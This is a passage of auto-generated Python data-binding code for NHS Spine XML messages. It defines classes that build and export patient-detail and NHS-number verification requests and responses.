name_='Person.DateOfBirth', pretty_print=pretty_print) if self.Person_Gender is not None: self.Person_Gender.export(outfile, level, namespace_, name_='Person.Gender', pretty_print=pretty_print) if self.Person_LocalIdentifier is not None: self.Person_LocalIdentifier.export(outfile, level, namespace_, name_='Person.LocalIdentifier', pretty_print=pretty_print) if self.Person_NHSNumber is not None: self.Person_NHSNumber.export(outfile, level, namespace_, name_='Person.NHSNumber', pretty_print=pretty_print) if self.Person_Name is not None: self.Person_Name.export(outfile, level, namespace_, name_='Person.Name', pretty_print=pretty_print) if self.Person_Postcode is not None: self.Person_Postcode.export(outfile, level, namespace_, name_='Person.Postcode', pretty_print=pretty_print) def build(self, node): already_processed = set() self.buildAttributes(node, node.attrib, already_processed) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) return self def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('nullFlavor', node) if value is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') self.nullFlavor = value self.validate_NullFlavor(self.nullFlavor) # validate type NullFlavor value = find_attr_value_('updateMode', node) if value is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') self.updateMode = value self.validate_cs_UpdateMode(self.updateMode) # validate type cs_UpdateMode def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'realmCode': obj_ = CS.factory() obj_.build(child_) self.realmCode.append(obj_) obj_.original_tagname_ = 'realmCode' elif nodeName_ == 'typeId': obj_ = II.factory() obj_.build(child_) self.typeId = obj_ obj_.original_tagname_ = 'typeId' elif nodeName_ == 'templateId': obj_ = II.factory() obj_.build(child_) self.templateId.append(obj_) obj_.original_tagname_ = 'templateId' elif nodeName_ == 'Person.DateOfBirth': obj_ = Person_DateOfBirth.factory() obj_.build(child_) self.Person_DateOfBirth = obj_ obj_.original_tagname_ = 'Person.DateOfBirth' elif nodeName_ == 'Person.Gender': obj_ = Person_Gender.factory() obj_.build(child_) self.Person_Gender = obj_ obj_.original_tagname_ = 'Person.Gender' elif nodeName_ == 'Person.LocalIdentifier': obj_ = Person_LocalIdentifier.factory() obj_.build(child_) self.Person_LocalIdentifier = obj_ obj_.original_tagname_ = 'Person.LocalIdentifier' elif nodeName_ == 'Person.NHSNumber': obj_ = Person_NHSNumber.factory() obj_.build(child_) self.Person_NHSNumber = obj_ obj_.original_tagname_ = 'Person.NHSNumber' elif nodeName_ == 'Person.Name': obj_ = Person_Name.factory() obj_.build(child_) self.Person_Name = obj_ obj_.original_tagname_ = 'Person.Name' elif nodeName_ == 'Person.Postcode': obj_ = Person_Postcode.factory() obj_.build(child_) self.Person_Postcode = obj_ obj_.original_tagname_ = 'Person.Postcode' class getPatientDetailsResponse_v1_0(GeneratedsSuper): subclass = None superclass = None def __init__(self, classCode=None, moodCode=None, nullFlavor=None, updateMode=None, realmCode=None, typeId=None, templateId=None, id=None, code=None, value=None, subject=None): self.original_tagname_ = None self.classCode = _cast(None, classCode) self.moodCode = _cast(None, moodCode) self.nullFlavor = _cast(None, nullFlavor) self.updateMode = _cast(None, updateMode) if realmCode is None: self.realmCode = [] else: self.realmCode = realmCode self.typeId = typeId if templateId is None: self.templateId = [] else: self.templateId = templateId self.id = id self.code = code self.value = value self.subject = subject def factory(*args_, **kwargs_): if CurrentSubclassModule_ is not None: subclass = getSubclassFromModule_( CurrentSubclassModule_, getPatientDetailsResponse_v1_0) if subclass is not None: return subclass(*args_, **kwargs_) if getPatientDetailsResponse_v1_0.subclass: return getPatientDetailsResponse_v1_0.subclass(*args_, **kwargs_) else: return getPatientDetailsResponse_v1_0(*args_, **kwargs_) factory = staticmethod(factory) def get_realmCode(self): return self.realmCode def set_realmCode(self, realmCode): self.realmCode = realmCode def add_realmCode(self, value): self.realmCode.append(value) def insert_realmCode_at(self, index, value): self.realmCode.insert(index, value) def replace_realmCode_at(self, index, value): self.realmCode[index] = value def get_typeId(self): return self.typeId def set_typeId(self, typeId): self.typeId = typeId def get_templateId(self): return self.templateId def set_templateId(self, templateId): self.templateId = templateId def add_templateId(self, value): self.templateId.append(value) def insert_templateId_at(self, index, value): self.templateId.insert(index, value) def replace_templateId_at(self, index, value): self.templateId[index] = value def get_id(self): return self.id def set_id(self, id): self.id = id def get_code(self): return self.code def set_code(self, code): self.code = code def get_value(self): return self.value def set_value(self, value): self.value = value def get_subject(self): return self.subject def set_subject(self, subject): self.subject = subject def get_classCode(self): return self.classCode def set_classCode(self, classCode): self.classCode = classCode def get_moodCode(self): return self.moodCode def set_moodCode(self, moodCode): self.moodCode = moodCode def get_nullFlavor(self): return self.nullFlavor def set_nullFlavor(self, nullFlavor): self.nullFlavor = nullFlavor def get_updateMode(self): return self.updateMode def set_updateMode(self, updateMode): self.updateMode = updateMode def validate_cs(self, value): # Validate type cs, a restriction on xsd:token. if value is not None and Validate_simpletypes_: if not self.gds_validate_simple_patterns( self.validate_cs_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_patterns_, )) validate_cs_patterns_ = [['^[^\\s]*$']] def validate_NullFlavor(self, value): # Validate type NullFlavor, a restriction on None. pass def validate_cs_UpdateMode(self, value): # Validate type cs_UpdateMode, a restriction on cs. if value is not None and Validate_simpletypes_: value = str(value) enumerations = ['added', 'altered', 'removed', 'unchanged'] enumeration_respectee = False for enum in enumerations: if value == enum: enumeration_respectee = True break if not enumeration_respectee: warnings_.warn('Value "%(value)s" does not match xsd enumeration restriction on cs_UpdateMode' % {"value" : value.encode("utf-8")} ) if not self.gds_validate_simple_patterns( self.validate_cs_UpdateMode_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_UpdateMode_patterns_, )) validate_cs_UpdateMode_patterns_ = [['^[^\\s]*$']] def hasContent_(self): if ( self.realmCode or self.typeId is not None or self.templateId or self.id is not None or self.code is not None or self.value is not None or self.subject is not None ): return True else: return False def export(self, outfile, level, namespace_='', name_='COMT_MT000016GB01.getPatientDetailsResponse-v1-0', namespacedef_='', pretty_print=True): imported_ns_def_ = GenerateDSNamespaceDefs_.get('COMT_MT000016GB01.getPatientDetailsResponse-v1-0') if imported_ns_def_ is not None: namespacedef_ = imported_ns_def_ if pretty_print: eol_ = '\n' else: eol_ = '' if self.original_tagname_ is not None: name_ = self.original_tagname_ showIndent(outfile, level, pretty_print) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = set() self.exportAttributes(outfile, level, already_processed, namespace_, name_='COMT_MT000016GB01.getPatientDetailsResponse-v1-0') if self.hasContent_(): outfile.write('>%s' % (eol_, )) self.exportChildren(outfile, level + 1, namespace_='', name_='COMT_MT000016GB01.getPatientDetailsResponse-v1-0', pretty_print=pretty_print) showIndent(outfile, level, pretty_print) outfile.write('</%s%s>%s' % (namespace_, name_, eol_)) else: outfile.write('/>%s' % (eol_, )) def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='COMT_MT000016GB01.getPatientDetailsResponse-v1-0'): if self.classCode is not None and 'classCode' not in already_processed: already_processed.add('classCode') outfile.write(' classCode=%s' % (quote_attrib(self.classCode), )) if self.moodCode is not None and 'moodCode' not in already_processed: already_processed.add('moodCode') outfile.write(' moodCode=%s' % (quote_attrib(self.moodCode), )) if self.nullFlavor is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') outfile.write(' nullFlavor=%s' % (quote_attrib(self.nullFlavor), )) if self.updateMode is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') outfile.write(' updateMode=%s' % (quote_attrib(self.updateMode), )) def exportChildren(self, outfile, level, namespace_='', name_='COMT_MT000016GB01.getPatientDetailsResponse-v1-0', fromsubclass_=False, pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' for realmCode_ in self.realmCode: realmCode_.export(outfile, level, namespace_, name_='realmCode', pretty_print=pretty_print) if self.typeId is not None: self.typeId.export(outfile, level, namespace_, name_='typeId', pretty_print=pretty_print) for templateId_ in self.templateId: templateId_.export(outfile, level, namespace_, name_='templateId', pretty_print=pretty_print) if self.id is not None: self.id.export(outfile, level, namespace_, name_='id', pretty_print=pretty_print) if self.code is not None: self.code.export(outfile, level, namespace_, name_='code', pretty_print=pretty_print) if self.value is not None: self.value.export(outfile, level, namespace_, name_='value', pretty_print=pretty_print) if self.subject is not None: self.subject.export(outfile, level, namespace_, name_='subject', pretty_print=pretty_print) def build(self, node): already_processed = set() self.buildAttributes(node, node.attrib, already_processed) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) return self def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('classCode', node) if value is not None and 'classCode' not in already_processed: already_processed.add('classCode') self.classCode = value self.validate_cs(self.classCode) # validate type cs value = find_attr_value_('moodCode', node) if value is not None and 'moodCode' not in already_processed: already_processed.add('moodCode') self.moodCode = value self.validate_cs(self.moodCode) # validate type cs value = find_attr_value_('nullFlavor', node) if value is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') self.nullFlavor = value self.validate_NullFlavor(self.nullFlavor) # validate type NullFlavor value = find_attr_value_('updateMode', node) if value is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') self.updateMode = value self.validate_cs_UpdateMode(self.updateMode) # validate type cs_UpdateMode def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'realmCode': obj_ = CS.factory() obj_.build(child_) self.realmCode.append(obj_) obj_.original_tagname_ = 'realmCode' elif nodeName_ == 'typeId': obj_ = II.factory() obj_.build(child_) self.typeId = obj_ obj_.original_tagname_ = 'typeId' elif nodeName_ == 'templateId': obj_ = II.factory() obj_.build(child_) self.templateId.append(obj_) obj_.original_tagname_ = 'templateId' elif nodeName_ == 'id': obj_ = II_NHS_IdentifierType2.factory() obj_.build(child_) self.id = obj_ obj_.original_tagname_ = 'id' elif nodeName_ == 'code': obj_ = codeType.factory() obj_.build(child_) self.code = obj_ obj_.original_tagname_ = 'code' elif nodeName_ == 'value': obj_ = valueType.factory() obj_.build(child_) self.value = obj_ obj_.original_tagname_ = 'value' elif nodeName_ == 'subject': obj_ = Subject.factory() obj_.build(child_) self.subject = obj_ obj_.original_tagname_ = 'subject' class verifyNHSNumberRequest_v1_0(GeneratedsSuper): subclass = None superclass = None def __init__(self, classCode=None, moodCode=None, nullFlavor=None, updateMode=None, realmCode=None, typeId=None, templateId=None, id=None, code=None, queryEvent=None): self.original_tagname_ = None self.classCode = _cast(None, classCode) self.moodCode = _cast(None, moodCode) self.nullFlavor = _cast(None, nullFlavor) self.updateMode = _cast(None, updateMode) if realmCode is None: self.realmCode = [] else: self.realmCode = realmCode self.typeId = typeId if templateId is None: self.templateId = [] else: self.templateId = templateId self.id = id self.code = code self.queryEvent = queryEvent def factory(*args_, **kwargs_): if CurrentSubclassModule_ is not None: subclass = getSubclassFromModule_( CurrentSubclassModule_, verifyNHSNumberRequest_v1_0) if subclass is not None: return subclass(*args_, **kwargs_) if verifyNHSNumberRequest_v1_0.subclass: return verifyNHSNumberRequest_v1_0.subclass(*args_, **kwargs_) else: return verifyNHSNumberRequest_v1_0(*args_, **kwargs_) factory = staticmethod(factory) def get_realmCode(self): return self.realmCode def set_realmCode(self, realmCode): self.realmCode = realmCode def add_realmCode(self, value): self.realmCode.append(value) def insert_realmCode_at(self, index, value): self.realmCode.insert(index, value) def replace_realmCode_at(self, index, value): self.realmCode[index] = value def get_typeId(self): return self.typeId def set_typeId(self, typeId): self.typeId = typeId def get_templateId(self): return self.templateId def set_templateId(self, templateId): self.templateId = templateId def add_templateId(self, value): self.templateId.append(value) def insert_templateId_at(self, index, value): self.templateId.insert(index, value) def replace_templateId_at(self, index, value): self.templateId[index] = value def get_id(self): return self.id def set_id(self, id): self.id = id def get_code(self): return self.code def set_code(self, code): self.code = code def get_queryEvent(self): return self.queryEvent def set_queryEvent(self, queryEvent): self.queryEvent = queryEvent def get_classCode(self): return self.classCode def set_classCode(self, classCode): self.classCode = classCode def get_moodCode(self): return self.moodCode def set_moodCode(self, moodCode): self.moodCode = moodCode def get_nullFlavor(self): return self.nullFlavor def set_nullFlavor(self, nullFlavor): self.nullFlavor = nullFlavor def get_updateMode(self): return self.updateMode def set_updateMode(self, updateMode): self.updateMode = updateMode def validate_cs(self, value): # Validate type cs, a restriction on xsd:token. if value is not None and Validate_simpletypes_: if not self.gds_validate_simple_patterns( self.validate_cs_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_patterns_, )) validate_cs_patterns_ = [['^[^\\s]*$']] def validate_NullFlavor(self, value): # Validate type NullFlavor, a restriction on None. pass def validate_cs_UpdateMode(self, value): # Validate type cs_UpdateMode, a restriction on cs. if value is not None and Validate_simpletypes_: value = str(value) enumerations = ['added', 'altered', 'removed', 'unchanged'] enumeration_respectee = False for enum in enumerations: if value == enum: enumeration_respectee = True break if not enumeration_respectee: warnings_.warn('Value "%(value)s" does not match xsd enumeration restriction on cs_UpdateMode' % {"value" : value.encode("utf-8")} ) if not self.gds_validate_simple_patterns( self.validate_cs_UpdateMode_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_UpdateMode_patterns_, )) validate_cs_UpdateMode_patterns_ = [['^[^\\s]*$']] def hasContent_(self): if ( self.realmCode or self.typeId is not None or self.templateId or self.id is not None or self.code is not None or self.queryEvent is not None ): return True else: return False def export(self, outfile, level, namespace_='', name_='QUPA_MT000001GB01.verifyNHSNumberRequest-v1-0', namespacedef_='', pretty_print=True): imported_ns_def_ = GenerateDSNamespaceDefs_.get('QUPA_MT000001GB01.verifyNHSNumberRequest-v1-0') if imported_ns_def_ is not None: namespacedef_ = imported_ns_def_ if pretty_print: eol_ = '\n' else: eol_ = '' if self.original_tagname_ is not None: name_ = self.original_tagname_ showIndent(outfile, level, pretty_print) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = set() self.exportAttributes(outfile, level, already_processed, namespace_, name_='QUPA_MT000001GB01.verifyNHSNumberRequest-v1-0') if self.hasContent_(): outfile.write('>%s' % (eol_, )) self.exportChildren(outfile, level + 1, namespace_='', name_='QUPA_MT000001GB01.verifyNHSNumberRequest-v1-0', pretty_print=pretty_print) showIndent(outfile, level, pretty_print) outfile.write('</%s%s>%s' % (namespace_, name_, eol_)) else: outfile.write('/>%s' % (eol_, )) def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='QUPA_MT000001GB01.verifyNHSNumberRequest-v1-0'): if self.classCode is not None and 'classCode' not in already_processed: already_processed.add('classCode') outfile.write(' classCode=%s' % (quote_attrib(self.classCode), )) if self.moodCode is not None and 'moodCode' not in already_processed: already_processed.add('moodCode') outfile.write(' moodCode=%s' % (quote_attrib(self.moodCode), )) if self.nullFlavor is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') outfile.write(' nullFlavor=%s' % (quote_attrib(self.nullFlavor), )) if self.updateMode is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') outfile.write(' updateMode=%s' % (quote_attrib(self.updateMode), )) def exportChildren(self, outfile, level, namespace_='', name_='QUPA_MT000001GB01.verifyNHSNumberRequest-v1-0', fromsubclass_=False, pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' for realmCode_ in self.realmCode: realmCode_.export(outfile, level, namespace_, name_='realmCode', pretty_print=pretty_print) if self.typeId is not None: self.typeId.export(outfile, level, namespace_, name_='typeId', pretty_print=pretty_print) for templateId_ in self.templateId: templateId_.export(outfile, level, namespace_, name_='templateId', pretty_print=pretty_print) if self.id is not None: self.id.export(outfile, level, namespace_, name_='id', pretty_print=pretty_print) if self.code is not None: self.code.export(outfile, level, namespace_, name_='code', pretty_print=pretty_print) if self.queryEvent is not None: self.queryEvent.export(outfile, level, namespace_, name_='queryEvent', pretty_print=pretty_print) def build(self, node): already_processed = set() self.buildAttributes(node, node.attrib, already_processed) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) return self def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('classCode', node) if value is not None and 'classCode' not in already_processed: already_processed.add('classCode') self.classCode = value self.validate_cs(self.classCode) # validate type cs value = find_attr_value_('moodCode', node) if value is not None and 'moodCode' not in already_processed: already_processed.add('moodCode') self.moodCode = value self.validate_cs(self.moodCode) # validate type cs value = find_attr_value_('nullFlavor', node) if value is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') self.nullFlavor = value self.validate_NullFlavor(self.nullFlavor) # validate type NullFlavor value = find_attr_value_('updateMode', node) if value is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') self.updateMode = value self.validate_cs_UpdateMode(self.updateMode) # validate type cs_UpdateMode def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'realmCode': obj_ = CS.factory() obj_.build(child_) self.realmCode.append(obj_) obj_.original_tagname_ = 'realmCode' elif nodeName_ == 'typeId': obj_ = II.factory() obj_.build(child_) self.typeId = obj_ obj_.original_tagname_ = 'typeId' elif nodeName_ == 'templateId': obj_ = II.factory() obj_.build(child_) self.templateId.append(obj_) obj_.original_tagname_ = 'templateId' elif nodeName_ == 'id': obj_ = II_NHS_IdentifierType2.factory() obj_.build(child_) self.id = obj_ obj_.original_tagname_ = 'id' elif nodeName_ == 'code': obj_ = codeType.factory() obj_.build(child_) self.code = obj_ obj_.original_tagname_ = 'code' elif nodeName_ == 'queryEvent': obj_ = verifyNHSNumberRequest_v1_0Grouper.factory() obj_.build(child_) self.queryEvent = obj_ obj_.original_tagname_ = 'queryEvent' class verifyNHSNumberRequest_v1_0Grouper(GeneratedsSuper): subclass = None superclass = None def __init__(self, nullFlavor=None, updateMode=None, realmCode=None, typeId=None, templateId=None, Person_DateOfBirth=None, Person_NHSNumber=None, Person_Name=None): self.original_tagname_ = None self.nullFlavor = _cast(None, nullFlavor) self.updateMode = _cast(None, updateMode) if realmCode is None: self.realmCode = [] else: self.realmCode = realmCode self.typeId = typeId if templateId is None: self.templateId = [] else: self.templateId = templateId self.Person_DateOfBirth = Person_DateOfBirth self.Person_NHSNumber = Person_NHSNumber self.Person_Name = Person_Name def factory(*args_, **kwargs_): if CurrentSubclassModule_ is not None: subclass = getSubclassFromModule_( CurrentSubclassModule_, verifyNHSNumberRequest_v1_0Grouper) if subclass is not None: return subclass(*args_, **kwargs_) if verifyNHSNumberRequest_v1_0Grouper.subclass: return verifyNHSNumberRequest_v1_0Grouper.subclass(*args_, **kwargs_) else: return verifyNHSNumberRequest_v1_0Grouper(*args_, **kwargs_) factory = staticmethod(factory) def get_realmCode(self): return self.realmCode def set_realmCode(self, realmCode): self.realmCode = realmCode def add_realmCode(self, value): self.realmCode.append(value) def insert_realmCode_at(self, index, value): self.realmCode.insert(index, value) def replace_realmCode_at(self, index, value): self.realmCode[index] = value def get_typeId(self): return self.typeId def set_typeId(self, typeId): self.typeId = typeId def get_templateId(self): return self.templateId def set_templateId(self, templateId): self.templateId = templateId def add_templateId(self, value): self.templateId.append(value) def insert_templateId_at(self, index, value): self.templateId.insert(index, value) def replace_templateId_at(self, index, value): self.templateId[index] = value def get_Person_DateOfBirth(self): return self.Person_DateOfBirth def set_Person_DateOfBirth(self, Person_DateOfBirth): self.Person_DateOfBirth = Person_DateOfBirth def get_Person_NHSNumber(self): return self.Person_NHSNumber def set_Person_NHSNumber(self, Person_NHSNumber): self.Person_NHSNumber = Person_NHSNumber def get_Person_Name(self): return self.Person_Name def set_Person_Name(self, Person_Name): self.Person_Name = Person_Name def get_nullFlavor(self): return self.nullFlavor def set_nullFlavor(self, nullFlavor): self.nullFlavor = nullFlavor def get_updateMode(self): return self.updateMode def set_updateMode(self, updateMode): self.updateMode = updateMode def validate_NullFlavor(self, value): # Validate type NullFlavor, a restriction on None. pass def validate_cs_UpdateMode(self, value): # Validate type cs_UpdateMode, a restriction on cs. if value is not None and Validate_simpletypes_: value = str(value) enumerations = ['added', 'altered', 'removed', 'unchanged'] enumeration_respectee = False for enum in enumerations: if value == enum: enumeration_respectee = True break if not enumeration_respectee: warnings_.warn('Value "%(value)s" does not match xsd enumeration restriction on cs_UpdateMode' % {"value" : value.encode("utf-8")} ) if not self.gds_validate_simple_patterns( self.validate_cs_UpdateMode_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_UpdateMode_patterns_, )) validate_cs_UpdateMode_patterns_ = [['^[^\\s]*$']] def hasContent_(self): if ( self.realmCode or self.typeId is not None or self.templateId or self.Person_DateOfBirth is not None or self.Person_NHSNumber is not None or self.Person_Name is not None ): return True else: return False def export(self, outfile, level, namespace_='', name_='QUPA_MT000001GB01.verifyNHSNumberRequest-v1-0Grouper', namespacedef_='', pretty_print=True): imported_ns_def_ = GenerateDSNamespaceDefs_.get('QUPA_MT000001GB01.verifyNHSNumberRequest-v1-0Grouper') if imported_ns_def_ is not None: namespacedef_ = imported_ns_def_ if pretty_print: eol_ = '\n' else: eol_ = '' if self.original_tagname_ is not None: name_ = self.original_tagname_ showIndent(outfile, level, pretty_print) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = set() self.exportAttributes(outfile, level, already_processed, namespace_, name_='QUPA_MT000001GB01.verifyNHSNumberRequest-v1-0Grouper') if self.hasContent_(): outfile.write('>%s' % (eol_, )) self.exportChildren(outfile, level + 1, namespace_='', name_='QUPA_MT000001GB01.verifyNHSNumberRequest-v1-0Grouper', pretty_print=pretty_print) showIndent(outfile, level, pretty_print) outfile.write('</%s%s>%s' % (namespace_, name_, eol_)) else: outfile.write('/>%s' % (eol_, )) def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='QUPA_MT000001GB01.verifyNHSNumberRequest-v1-0Grouper'): if self.nullFlavor is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') outfile.write(' nullFlavor=%s' % (quote_attrib(self.nullFlavor), )) if self.updateMode is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') outfile.write(' updateMode=%s' % (quote_attrib(self.updateMode), )) def exportChildren(self, outfile, level, namespace_='', name_='QUPA_MT000001GB01.verifyNHSNumberRequest-v1-0Grouper', fromsubclass_=False, pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' for realmCode_ in self.realmCode: realmCode_.export(outfile, level, namespace_, name_='realmCode', pretty_print=pretty_print) if self.typeId is not None: self.typeId.export(outfile, level, namespace_, name_='typeId', pretty_print=pretty_print) for templateId_ in self.templateId: templateId_.export(outfile, level, namespace_, name_='templateId', pretty_print=pretty_print) if self.Person_DateOfBirth is not None: self.Person_DateOfBirth.export(outfile, level, namespace_, name_='Person.DateOfBirth', pretty_print=pretty_print) if self.Person_NHSNumber is not None: self.Person_NHSNumber.export(outfile, level, namespace_, name_='Person.NHSNumber', pretty_print=pretty_print) if self.Person_Name is not None: self.Person_Name.export(outfile, level, namespace_, name_='Person.Name', pretty_print=pretty_print) def build(self, node): already_processed = set() self.buildAttributes(node, node.attrib, already_processed) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) return self def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('nullFlavor', node) if value is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') self.nullFlavor = value self.validate_NullFlavor(self.nullFlavor) # validate type NullFlavor value = find_attr_value_('updateMode', node) if value is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') self.updateMode = value self.validate_cs_UpdateMode(self.updateMode) # validate type cs_UpdateMode def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'realmCode': obj_ = CS.factory() obj_.build(child_) self.realmCode.append(obj_) obj_.original_tagname_ = 'realmCode' elif nodeName_ == 'typeId': obj_ = II.factory() obj_.build(child_) self.typeId = obj_ obj_.original_tagname_ = 'typeId' elif nodeName_ == 'templateId': obj_ = II.factory() obj_.build(child_) self.templateId.append(obj_) obj_.original_tagname_ = 'templateId' elif nodeName_ == 'Person.DateOfBirth': obj_ = Person_DateOfBirth.factory() obj_.build(child_) self.Person_DateOfBirth = obj_ obj_.original_tagname_ = 'Person.DateOfBirth' elif nodeName_ == 'Person.NHSNumber': obj_ = Person_NHSNumber.factory() obj_.build(child_) self.Person_NHSNumber = obj_ obj_.original_tagname_ = 'Person.NHSNumber' elif nodeName_ == 'Person.Name': obj_ = Person_Name.factory() obj_.build(child_) self.Person_Name = obj_ obj_.original_tagname_ = 'Person.Name' class verifyNHSNumberResponse_v1_0(GeneratedsSuper): subclass = None superclass = None def __init__(self, classCode=None, moodCode=None, nullFlavor=None, updateMode=None, realmCode=None, typeId=None, templateId=None, id=None, code=None, value=None, component=None): self.original_tagname_ = None self.classCode = _cast(None, classCode) self.moodCode = _cast(None, moodCode) self.nullFlavor = _cast(None, nullFlavor) self.updateMode = _cast(None, updateMode) if realmCode is None: self.realmCode = [] else: self.realmCode = realmCode self.typeId = typeId if templateId is None: self.templateId = [] else: self.templateId = templateId self.id = id self.code = code self.value = value self.component = component def factory(*args_, **kwargs_): if CurrentSubclassModule_ is not None: subclass = getSubclassFromModule_( CurrentSubclassModule_, verifyNHSNumberResponse_v1_0) if subclass is not None: return subclass(*args_, **kwargs_) if verifyNHSNumberResponse_v1_0.subclass: return verifyNHSNumberResponse_v1_0.subclass(*args_, **kwargs_) else: return verifyNHSNumberResponse_v1_0(*args_, **kwargs_) factory = staticmethod(factory) def get_realmCode(self): return self.realmCode def set_realmCode(self, realmCode): self.realmCode = realmCode def add_realmCode(self, value): self.realmCode.append(value) def insert_realmCode_at(self, index, value): self.realmCode.insert(index, value) def replace_realmCode_at(self, index, value): self.realmCode[index] = value def get_typeId(self): return self.typeId def set_typeId(self, typeId): self.typeId = typeId def get_templateId(self): return self.templateId def set_templateId(self, templateId): self.templateId = templateId def add_templateId(self, value): self.templateId.append(value) def insert_templateId_at(self, index, value): self.templateId.insert(index, value) def replace_templateId_at(self, index, value): self.templateId[index] = value def get_id(self): return self.id def set_id(self, id): self.id = id def get_code(self): return self.code def set_code(self, code): self.code = code def get_value(self): return self.value def set_value(self, value): self.value = value def get_component(self): return self.component def set_component(self, component): self.component = component def get_classCode(self): return self.classCode def set_classCode(self, classCode): self.classCode = classCode def get_moodCode(self): return self.moodCode def set_moodCode(self, moodCode): self.moodCode = moodCode def get_nullFlavor(self): return self.nullFlavor def set_nullFlavor(self, nullFlavor): self.nullFlavor = nullFlavor def get_updateMode(self): return self.updateMode def set_updateMode(self, updateMode): self.updateMode = updateMode def validate_cs(self, value): # Validate type cs, a restriction on xsd:token. if value is not None and Validate_simpletypes_: if not self.gds_validate_simple_patterns( self.validate_cs_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_patterns_, )) validate_cs_patterns_ = [['^[^\\s]*$']] def validate_NullFlavor(self, value): # Validate type NullFlavor, a restriction on None. pass def validate_cs_UpdateMode(self, value): # Validate type cs_UpdateMode, a restriction on cs. if value is not None and Validate_simpletypes_: value = str(value) enumerations = ['added', 'altered', 'removed', 'unchanged'] enumeration_respectee = False for enum in enumerations: if value == enum: enumeration_respectee = True break if not enumeration_respectee: warnings_.warn('Value "%(value)s" does not match xsd enumeration restriction on cs_UpdateMode' % {"value" : value.encode("utf-8")} ) if not self.gds_validate_simple_patterns( self.validate_cs_UpdateMode_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_UpdateMode_patterns_, )) validate_cs_UpdateMode_patterns_ = [['^[^\\s]*$']] def hasContent_(self): if ( self.realmCode or self.typeId is not None or self.templateId or self.id is not None or self.code is not None or self.value is not None or self.component is not None ): return True else: return False def export(self, outfile, level, namespace_='', name_='COMT_MT000013GB01.verifyNHSNumberResponse-v1-0', namespacedef_='', pretty_print=True): imported_ns_def_ = GenerateDSNamespaceDefs_.get('COMT_MT000013GB01.verifyNHSNumberResponse-v1-0') if imported_ns_def_ is not None: namespacedef_ = imported_ns_def_ if pretty_print: eol_ = '\n' else: eol_ = '' if self.original_tagname_ is not None: name_ = self.original_tagname_ showIndent(outfile, level, pretty_print) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = set() self.exportAttributes(outfile, level, already_processed, namespace_, name_='COMT_MT000013GB01.verifyNHSNumberResponse-v1-0') if self.hasContent_(): outfile.write('>%s' % (eol_, )) self.exportChildren(outfile, level + 1, namespace_='', name_='COMT_MT000013GB01.verifyNHSNumberResponse-v1-0', pretty_print=pretty_print) showIndent(outfile, level, pretty_print) outfile.write('</%s%s>%s' % (namespace_, name_, eol_)) else: outfile.write('/>%s' % (eol_, )) def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='COMT_MT000013GB01.verifyNHSNumberResponse-v1-0'): if self.classCode is not None and 'classCode' not in already_processed: already_processed.add('classCode') outfile.write(' classCode=%s' % (quote_attrib(self.classCode), )) if self.moodCode is not None and 'moodCode' not in already_processed: already_processed.add('moodCode') outfile.write(' moodCode=%s' % (quote_attrib(self.moodCode), )) if self.nullFlavor is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') outfile.write(' nullFlavor=%s' % (quote_attrib(self.nullFlavor), )) if self.updateMode is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') outfile.write(' updateMode=%s' % (quote_attrib(self.updateMode), )) def exportChildren(self, outfile, level, namespace_='', name_='COMT_MT000013GB01.verifyNHSNumberResponse-v1-0', fromsubclass_=False, 